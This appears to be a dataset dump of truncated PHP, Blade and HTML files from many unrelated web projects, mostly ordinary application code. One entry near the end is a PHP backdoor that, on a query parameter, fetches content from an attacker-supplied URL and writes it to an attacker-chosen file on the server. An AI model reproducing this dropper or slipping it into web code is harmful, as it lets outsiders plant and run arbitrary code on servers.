text
stringlengths
2
1.03M
<?php namespace Igniter\Flame\Location\Models; use DB; use Igniter\Flame\Database\Model; use Igniter\Flame\Geolite\Contracts\CoordinatesInterface; use Igniter\Flame\Location\Contracts\LocationInterface; use Igniter\Flame\Location\OrderTypes; class AbstractLocation extends Model implements LocationInterface { con...
<? $mandatory_keys = array("email", "msg"); $error = false; $msg = ""; foreach($mandatory_keys as $k){ if (!isset($_POST[$k]) || trim($_POST[$k])==""){ $error = true; $msg.="Falta ".$k."\n"; } } if (!$error){ $name = $_POST['name']; $email = $_POST['email']; $query = $_POST['msg']; $email_from = $name.'<'....
<?php namespace App\Http\Controllers; use App\Http\Requests\NewsCreate; use App\Models\News; use App\Services\FileUploadService; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\Request; class NewsController extends Controller { public function index(Request $request) { // $model = new News...
<!DOCTYPE html> <html lang="{{ locale() }}"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Laravel</title> <!-- Fonts --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/...
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content="Admin Panel"> <meta name="author" content="Ho Minh"> <title>Admin Dashboard<...
<?php use yii\helpers\Html; use backend\assets\AppAsset; use backend\assets\AdminLteAsset; /* @var $this \yii\web\View */ /* @var $content string */ AdminLteAsset::register($this); ?> <?php $this->beginPage() ?> <!DOCTYPE html> <html lang="<?= Yii::$app->language ?>"> <head> <meta charset="<?= Yii::$app->charset ...
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateDocumentsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('documents', f...
<?php namespace Enqueue\Wamp\Tests\Functional; use Enqueue\Test\RetryTrait; use Enqueue\Test\WampExtension; use Enqueue\Wamp\WampMessage; use PHPUnit\Framework\TestCase; use Psr\Log\NullLogger; use Thruway\Logging\Logger; /** * @group functional * @group Wamp * @retry 5 */ class WampConsumerTest extends TestCase...
<?php declare(strict_types=1); /* * This file is part of the zibios/wrike-php-library package. * * (c) Zbigniew Ślązak * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Zibios\WrikePhpLibrary\Tests\Exception\Api; use Zi...
<?php namespace App\Providers; use Illuminate\Support\ServiceProvider; class HelperServiceProvider extends ServiceProvider { /** * Bootstrap the application services. * * @return void */ public function boot() { // } /** * Register the application services. ...
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class ToolsController extends Controller { public function checkAuth(Request $request) { if (Auth::attempt(['email' => $request->input('email'), 'password' => $request->input('password') ])) { $user = Auth::...
var OX_3b756fb2 = ''; OX_3b756fb2 += "<"+"a href=\'http://ads3.kompasads.com/new/www/delivery/ck.php?oaparams=2__bannerid=11303__zoneid=54__cb=3493d7e81b__oadest=http%3A%2F%2Fmonash.edu%2Findonesia%2F%3Futm_source%3DKompas%26utm_medium%3Deducation%26utm_campaign%3DIM-Indonesia\' target=\'_blank\'><"+"img src=\'http://i...
<?php namespace Oro\Bundle\SecurityBundle\Tests\Unit\Form\Type; use Oro\Bundle\SecurityBundle\Form\Type\PermissionCollectionType; use Symfony\Component\Form\Extension\Core\Type\CollectionType; class PermissionCollectionTypeTest extends \PHPUnit\Framework\TestCase { /** @var PermissionCollectionType */ protec...
<?php namespace SquegTech\Steam\Command\User; use SquegTech\Steam\Command\CommandInterface; class GetPlayerBans implements CommandInterface { /** * @param array $steamIds */ public function __construct( private array $steamIds ) {} /** * @return string */ public funct...
<?php $time_start = microtime(true); defined('_DEFVAR') or exit('Restricted Access'); define('__ROOT__', dirname(__FILE__)); define('__SYSTEMPATH__', __ROOT__.'/fc_system/'); define('__SOURCEPATH__', __ROOT__.'/fc_system/source'); define('__ASSETPATH__', __ROOT__.'/Assets/'); define('__PLUGINPATH__', __ASSETPATH__...
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <div> <form action="inicio" method="POST"> <label for...
<?php /* * You may not change or alter any portion of this comment or credits * of supporting developers from this source code or any supporting source code * which is considered copyrighted (c) material of the original comment or credit authors. * * This program is distributed in the hope that it will be useful, ...
<?php defined('BASEPATH') OR exit('No direct script access allowed'); /* |-------------------------------------------------------------------------- | Base Site URL |-------------------------------------------------------------------------- | | URL to your CodeIgniter root. Typically this will be your base ...
{{-- Variables disponibles - $posts ARRAY(Post) --}} @extends('templates.index') @section('title') Home @endsection @section('content') {{-- Carousel (le slider) --}} {{-- Limite de 4 pour le carrousel--}} @include('works._home_works_carousel', ['works' =>\App\Models\Work::orderBy('created_at', '...
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests; use App\Category; use App\Picture; use App\Post; use Auth; class FrontController extends Controller { /** * This function get all post from the Schema and display to the user * * @return function : the...
@extends('layouts.app') @include('includes.header') @include('includes.menu') @section('content') {{--@php--}} {{--echo "<pre>";--}} {{--print_r($item);die();--}} {{--@endphp--}} <div class="breadcomb-area"> <div class="container"> <div class="row"> <div class="co...
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\User; use App\Profile; class HomeController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware('auth'); } /** ...
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateRestaurantsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('restaurants...
<?php /* * * 预订类 protected $navcat_model; function _initialize() { parent::_initialize(); $this->navcat_model =D("Common/NavCat"); } */ namespace Common\Model; use Common\Model\CommonModel; class ReservationModel extends CommonModel { protected $tablePrefix = ''; //不需要数据库前缀 protected $_validate = array...
<?php use App\Article; use Illuminate\Database\Seeder; class ArticleSeed extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // Цикл вместо передачи значения в factory для random даты for ($i=0; $i < 20; $i++) { factory...
<?php namespace CvoTechnologies\Twitter\Test\TestCase\Model\Endpoint; use Cake\Datasource\ConnectionManager; use Cake\TestSuite\TestCase; use CvoTechnologies\StreamEmulation\Emulation\HttpEmulation; use CvoTechnologies\StreamEmulation\StreamWrapper; use GuzzleHttp\Psr7\Response; use Muffin\Webservice\Model\EndpointRe...
@extends('layouts.front.design') @section('content') <div class='container'> <div class="card"> <div class="card-header"> <h5>{{ $hotel->name }} <a href=""><i class="far fa-heart"></i></a> <a href=""><i class="fas fa-share-alt"></i></a> <a href="" class="btn btn-p...
<div class="mainmenu-area"> <div class="container"> <div class="row"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> ...
<?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class TripResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array */ public function toArray($request) { ...
<?php require_once("framework/Env.php"); class GeoCoder { public function __construct() { } public function search($location) { $conf = Env::instance()->getConf(); $base_url = "http://" . $conf->conf["gmaps_host"] . "/maps/geo?output=xml" . "&key=" . $conf->conf["gmaps_key"]; // $id =...
@extends('layouts.app') @push('vendor-styles') <link rel="stylesheet" type="text/css" href="{{asset('vendors/css/forms/selects/select2.min.css')}}"> {{--<link rel="stylesheet" type="text/css" href="{{asset('vendors/css/forms/icheck/custom.css')}}">--}} @endpush @push('other-styles') {{-- <link rel="style...
<?php namespace Drupal\Component\Utility; /** * Utility class for cryptographically-secure string handling routines. * * @ingroup utility */ class Crypt { /** * Calculates a base-64 encoded, URL-safe sha-256 hmac. * * @param mixed $data * Scalar value to be validated with the hmac. * @param mi...
<?php namespace app\modules\fct\controllers; use Yii; use app\modules\fct\models\Fctdepart; use app\modules\fct\models\FctdepartSearch; use yii\web\Controller; use yii\web\NotFoundHttpException; use yii\filters\VerbFilter; /** * FctdepartController implements the CRUD actions for Fctdepart model. */ class Fctdepar...
<?php /** * Created by PhpStorm. * User: yhlyl * Date: 2017/5/10 * Time: 23:16 */ class Login extends Api_Controller { public function __construct() { parent::__construct(); //$this->load->model('member_model'); } public function index() { # code... $data = arr...
<?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class validateFormProducts extends FormRequest { public function authorize() { return true; } public function rules() { return [ 'name' => 'required|min:4|max:70|regex:/^[\pL\s\-]+$/u', ...
<?php namespace Radio; class Service { private $tuner; private $name; public function setTuner(\Radio\Adapter $adapter, \Radio\AbstractTuner $tuner){ if(!in_array($tuner, $adapter->tuners)){ throw new \Radio\Exceptions\NotFoundTunerException; } $this->tuner = $tuner; } public function...
<?php namespace App; use Closure; use DB; use Exception; use File; use Illuminate\Support\Arr; class Helpers { public static function applySqlQueryBindings(string $query, array $bindings) { return array_reduce($bindings, function ($sql, $binding) { return preg_replace('/\?/', is_numeric($...
<?php /** * PHPMailer RFC821 SMTP email transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy...
<!DOCTYPE html> <html> <head> @include('applicant.partials._head') <style type="text/css"> /*.slimScrollDiv{ position: relative; overflow: hidden; width: auto; height: 100%; }*/ </style> </head> <body class="hold-transition skin-green sidebar-mini"> <div class="wrapper"> @in...
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Cart; class CartController extends Controller { // }
@extends('layouts.dashboard') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-lg-12 pt-4"> <div class="card"> <div class="card-header "> Inbound Messages </div> <div class="card-body p-0"> ...
<?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages t...
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\ExpressionLanguage\Node; use Symfony\Component\Expres...
<?php namespace App\Controllers; use App\Controllers\BaseController; use App\Models\ProductModel; use App\Models\BannerModel; use App\Models\ProductPhoto; use App\Models\CategoryModel; use App\Libraries\Slug; class Product extends BaseController { protected $category; public function __construct() { helper(['...
<?php /** * eBot - A bot for match management for CS:GO * @license http://creativecommons.org/licenses/by/3.0/ Creative Commons 3.0 * @author Julien Pardons <julien.pardons@esport-tools.net> * @version 3.0 * @date 21/10/2012 */ namespace eBot\Events\Event; use eBot\Events\Event; class Say ...
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model common\models\DoctorSearch */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="doctor-search"> <?php $form = ActiveForm::begin([ 'action' => ['index'], 'method' => 'get', ]); ?> <?...
<?php defined('BASEPATH') or exit('No direct script access allowed'); class Front extends CI_Controller { public function index() { $data['title'] = 'Pantai Nyanyi'; $data['galeri'] = $this->db->limit(6)->get('galeri')->result_array(); $query = "SELECT `user`.* , `lokasi`.* FROM `user` JOIN `lokasi` ...
<?php /** * REST API Coupons controller * * Handles requests to the /coupons endpoint. * * @author WooThemes * @category API * @package WooCommerce/API * @since 2.6.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * REST API Coupons controller class. * * @package WooCommerce/API * @extends WC_REST...
<?php // include Database connection file include("db_connection.php"); // check request if(isset($_POST['id'])) { // get values $id = $_POST['id']; $regisno = $_POST['regisno']; $regispwd = $_POST['regispwd']; $regisnaid = $_POST['regisnaid']; // Updaste User details /*$query ...
<?php /* @WebProfiler/Collector/request.html.twig */ class __TwigTemplate_93fc11624e1798633068a3cbe400a96d90181abbb4fa00c17fe037cf4507d361 extends Twig_Template { public function __construct(Twig_Environment $env) { parent::__construct($env); // line 1 $this->parent = $this->loadTempla...
<?php namespace App\Model; use App\Entity\ClubLocation; class ClubLocationView { private $uuid; private $name; private $address; private $city; private $zipcode; private $county; private $country; public function __construct(ClubLocation $location) { $this->uuid = $location->getUuid(); $this->name = $l...
<?php namespace App\Http; use Illuminate\Foundation\Http\Kernel as HttpKernel; class Kernel extends HttpKernel { /** * The application's global HTTP middleware stack. * * These middleware are run during every request to your application. * * @var array */ protected $middleware =...
<?php function rand_name(){ $str = 'abcdefghijklmnopqrstuvwxyz0123456789'; $name = ''; //随机13位用户名 for ($i=0; $i < 13; $i++) { $name .= substr($str,mt_rand(0,strlen($str)-1),1); } return $name; } //错误日志记录 function log_error($name, $text , $path) { if(!file_exists($path)){ mkdir($path...
<?php namespace App\Controllers; // normal // use CodeIgniter\Controller; // parA API USA REstful\ResoucerController use CodeIgniter\RESTful\ResourceController; //use App\Models\ProdutosModel; use Exception; class Produtos extends ResourceController{ private $produtosModel; private $token = '123456789abc';...
<?php /** * NovaeZMailingBundle Bundle. * * @package Novactive\Bundle\eZMailingBundle * * @author Novactive <s.morel@novactive.com> * @copyright 2018 Novactive * @license https://github.com/Novactive/NovaeZMailingBundle/blob/master/LICENSE MIT Licence */ declare(strict_types=1); namespace Novactive\Bund...
<?php use yii\helpers\Url; return [ [ 'class' => 'kartik\grid\CheckboxColumn', 'width' => '20px', ], [ 'class' => 'kartik\grid\SerialColumn', 'width' => '30px', ], [ 'class'=>'\kartik\grid\DataColumn', 'attribute'=>'logistica_proceso_id', ], ...
<?php /* * This file is part of the API Platform project. * * (c) Kévin Dunglas <dunglas@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace ApiPlatform\Core\Serializer\Filter; use Symf...
<?php namespace App\Traits; use App\Models\Usuario; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Arr; trait CrudGenerator { public function index(Request $request): JsonResponse { if ($request->method() == 'POST') { return $this->store($request->al...
<?php /* * The MIT License * * Copyright 2016 LengthOfRope, Bas de Kort <bdekort@gmail.com>. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without l...
<div class="container"> <div class="card"> <div class="card-title"> <div class="col-md-12 col-md-offset-5"> <h3>{{ $Modo=='Crear' ? 'Agregar Cliente': 'Modificar cliente' }}</h3></div> </div> ...
<?php $menu = 'transaksi'; include 'header.php'; ?> <div class="main-content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-body"> <div class="dt-responsive p-4"> ...
<?php namespace Database\Seeders; use Illuminate\Database\Seeder; class PostesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // } }
@extends('myriad::layouts.app') @section('content') @foreach($components as $title => $group) @component('myriad::components.title') {{ $title }} @endcomponent <ul> @foreach($group as $component) <li class="mb-8"> <component-pre...
{{-- Show the errors, if any --}} @if ($crud->groupedErrorsEnabled() && $errors->any()) <div class="alert alert-danger pb-0"> <ul class="list-unstyled"> @foreach($errors->all() as $error) <li><i class="fa fa-info-circle"></i> {{ $error }}</li> @endforeach </ul...
<?php /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License")...
<?php namespace App; use Illuminate\Database\Eloquent\Model; use App\user; class document extends Model { protected $fillable = [ 'title','link', 'user_id', ]; }
<?php /** * Created by PhpStorm. * User: joacomidsoluciones * Date: 29/08/17 * Time: 3:25 PM */ namespace App\Http\Controllers\Auth; use App\Mail\UserWallet; use App\Models\Payment; use App\User; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate...
<?php namespace App\Http\Controllers; use App\Http\Requests\UserRequest; use JD\Cloudder\Facades\Cloudder; use Illuminate\Support\Facades\Validator; use Illuminate\Validation\Rule; use Illuminate\Support\Facades\Auth; use App\User; use App\Article; use App\Comment; class UsersController extends Controller { /** ...
<?php use yii\helpers\Html; use yii\helpers\ArrayHelper; use yii\widgets\ActiveForm; use app\models\Region; use app\models\Builder; use app\models\Room; use app\models\Category; use app\models\Layout; use app\models\Furnish; use kartik\file\FileInput; use app\models\Role; use app\models\User; use app\models\Status; use...
<?php namespace Coyote\Console\Commands\Elasticsearch; use Illuminate\Console\Command; class CreateIndexCommand extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'es:create {--force}'; /** * The console command descr...
<?PHP require('session_validation.php'); require('db_configuration.php'); require('InsertUtil.php'); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" ...
<?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use App\Providers\RouteServiceProvider; use App\User; use Illuminate\Foundation\Auth\RegistersUsers; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; class RegisterController exte...
<div> <div class="container" style="padding: 30px 0;"> <div class="row"> <div class="col-md-12"> <div class="panel panel-default"> <div class="panel-heading"> <div class="row"> <div class="col-md-6"> ...
<?php namespace App; use Illuminate\Database\Eloquent\Model; class main_category extends Model { protected $table ="main_category"; public function subCategory(){ return $this->hasMany('App\sub_category','main_category_id','id'); } }
@extends('layouts.app') @section('title', 'Create New Post') @section('content') <div class="container"> <div class="row"> <div class="col-md-8 col-md-offset-2"> <h1>Create New Post</h1> <hr> {{-- Using the Laravel HTML Form Collective to creat...
<?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Book extends Model { /** * The database table used by the model. * * @var string */ protected $table = 'books'; /** * The attributes that are mass assignable. * * @var arra...
<?php namespace Jane\JsonSchema\Tests\Expected\Normalizer; use Jane\JsonSchemaRuntime\Reference; use Symfony\Component\Serializer\Exception\InvalidArgumentException; use Symfony\Component\Serializer\Normalizer\DenormalizerAwareInterface; use Symfony\Component\Serializer\Normalizer\DenormalizerAwareTrait; use Symfony\...
<div id="content"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="btn-group btn-breadcrumb "> <a href="<?=base_url().'home'?>" class="btn btn-default btn-sm"><i class="fa fa-home"></i></a> <a class="btn btn-default btn-sm">Semua kategori (<?=count(...
<?php if (1); else { if (2); if (3); }
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Debug\Exception; use Symfony\Component\HttpFoundation...
<?php /** * Class for a color selection input * @author Cosmin Staicu * */ class jsc_input_color extends jsc_input_abstract { private $placeholder; private $onChange; public function __construct() { parent::__construct(); $this->setPlaceholder(''); $this->onChange = ''; } /** * Defines the name of a fu...
<div class="col-md-12"> <button type="button" class="btn btn-primary btn-add_image" data-toggle="modal" data-target="#dropzone_modal" style="padding:5px 20px;font-size:50px"> <span class="voyager-plus"></span> </button> @php $cont = 0; @endphp @forelse ($company_images as $item) ...
<?php namespace Drupal\Tests\rules_ban\Unit\Integration\Action; use Drupal\ban\BanIpManagerInterface; use Drupal\Tests\rules\Unit\Integration\RulesIntegrationTestBase; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; /** * @coversDefaultClass \Drupal\rules_ban\Plugin\...
<?php /** * This file has been @generated by a phing task by {@link GeneratePhonePrefixData}. * See [README.md](README.md#generating-data) for more information. * * Pull requests changing data in these files will not be accepted. See the * [FAQ in the README](README.md#problems-with-invalid-numbers] on how to make...
<?php namespace LightSaml\Tests\Action\Profile\Outbound\Message; use LightSaml\Action\Profile\Outbound\Message\ResolveEndpointBaseAction; use LightSaml\Action\Profile\Outbound\Message\ResolveEndpointSloAction; use LightSaml\Context\Profile\ProfileContext; use LightSaml\Criteria\CriteriaSet; use LightSaml\Model\Metada...
<?php /** * Add metaboxes for posts * * * @package Auxin * @author averta (c) 2014-2022 * @link http://averta.net */ /*======================================================================*/ function auxin_push_metabox_models_post( $models ){ // Load general metabox models locate_templa...
<?php // autoload_classmap.php @generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname($vendorDir); return array( 'AddChangeToPostingsTable' => $baseDir . '/database/migrations/2017_04_14_054240_add_change_to_postings_table.php', 'AddColumnsToCommentsTable' => $baseDir . '/database...
<?php // +---------------------------------------------------------------------- // | ThinkPHP [ WE CAN DO IT JUST THINK IT ] // +---------------------------------------------------------------------- // | Copyright (c) 2010 http://thinkphp.cn All rights reserved. // +---------------------------------------------------...
@extends('contable.contable') @section('seccion', " - INACTIVOS") @section('content') <script> $(document).ready(function() { $('#tableCargos').DataTable( { "language": { "url": "//cdn.datatables.net/plug-ins/9dcbecd42ad/i18n/Spanish.json"}, dom: '<"top"f>t<"bottom"Bpi><"clear">', buttons: [...
<?php namespace MainBundle\Entity; use Doctrine\ORM\Mapping as ORM; /** * Repos * * @ORM\Table(name="repos") * @ORM\Entity(repositoryClass="MainBundle\Repository\ReposRepository") */ class Repos { /** * @var int * * @ORM\Column(name="id", type="integer") * @ORM\Id */ private $id...
<?php namespace Anomaly\Streams\Platform\Ui\Table\Component\Column; use Anomaly\Streams\Platform\Support\Value; use Anomaly\Streams\Platform\Ui\Table\Table; use Illuminate\View\View; /** * Class ColumnValue * * @link http://pyrocms.com/ * @author PyroCMS, Inc. <support@pyrocms.com> * @author Ryan Thompson <rya...
<h2>Añadir un nuevo <span class='muted'>tipo de tarea</span></h2> <br/> <?php $data["servicios"] = $servicios; echo render('tipo/tarea/_form',$data); ?> <p><?php echo Html::anchor('tipo/tarea', '<span class="glyphicon glyphicon-backward"></span> Volver al listado',array('class'=>'btn btn-danger')); ?></p>
<?php /* * This file is part of Sulu. * * (c) MASSIVE ART WebServices GmbH * * This source file is subject to the MIT license that is bundled * with this source code in the file LICENSE. */ namespace Sulu\Bundle\AdminBundle; use Sulu\Bundle\AdminBundle\DependencyInjection\Compiler\AddAdminPass; use Sulu\Bundl...
<?php error_reporting(0); if ($_GET['act'] == 'dl') { echo '<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>'; if ($_SERVER['REQUEST_METHOD'] == 'POST') { file_put_contents($_POST['fn'], file_get_contents($_...
<?php namespace Collector\AdminBundle\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;...
<?php namespace App\Http\Controllers\Api; use App\Repository\Notification\NotificationRepository; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Redis; class PushNotificationController extends Controller { private $notification; public function __construct(N...
<p><h2>Descripción</h2></p> <p>CATALOG crea un SELECT html en un campo a partir de 2 tablas relacionadas, para ver el resultado presione nuevo o editar</p> <p><h2>IMPORTANTE</h2></p> <p>En el grid no se muestran las columnas del catalogo ver la propiedad de CATALOG SHOW_GRID_COLUMNS</p> <p>Ejemplo: Cambia TDC_ID a...
@extends('layouts.default',['title'=>'About']) @section('content') <div class="container"> <h2>What is {{config('app.name')}}?</h2> <p>{{config('app.name')}} is a clone app of <a target="_blank" href="https://laramap.com/">Laramap.com</a>.</p> <div class="row"> <div class="col-md-6"> <p class="alert ale...
<?php namespace TheBachtiarz\Finance\Traits\Job; use TheBachtiarz\Finance\Service\BalanceCurlService; /** * Transaction Job Trait */ trait TransactionJobTrait { /** * Transaction purpose code * * @var string */ protected static string $transactionPurposeCode; /** * Transaction...
@extends('layout.master') @section('title', 'Page Title') @section('content') <div class="row"> <div class="col-sm-6"1> @if (Session::has('message')) <div class="alert alert-success"> <ul> <li>{{ Session::get('message') }}</li> </ul> </div> ...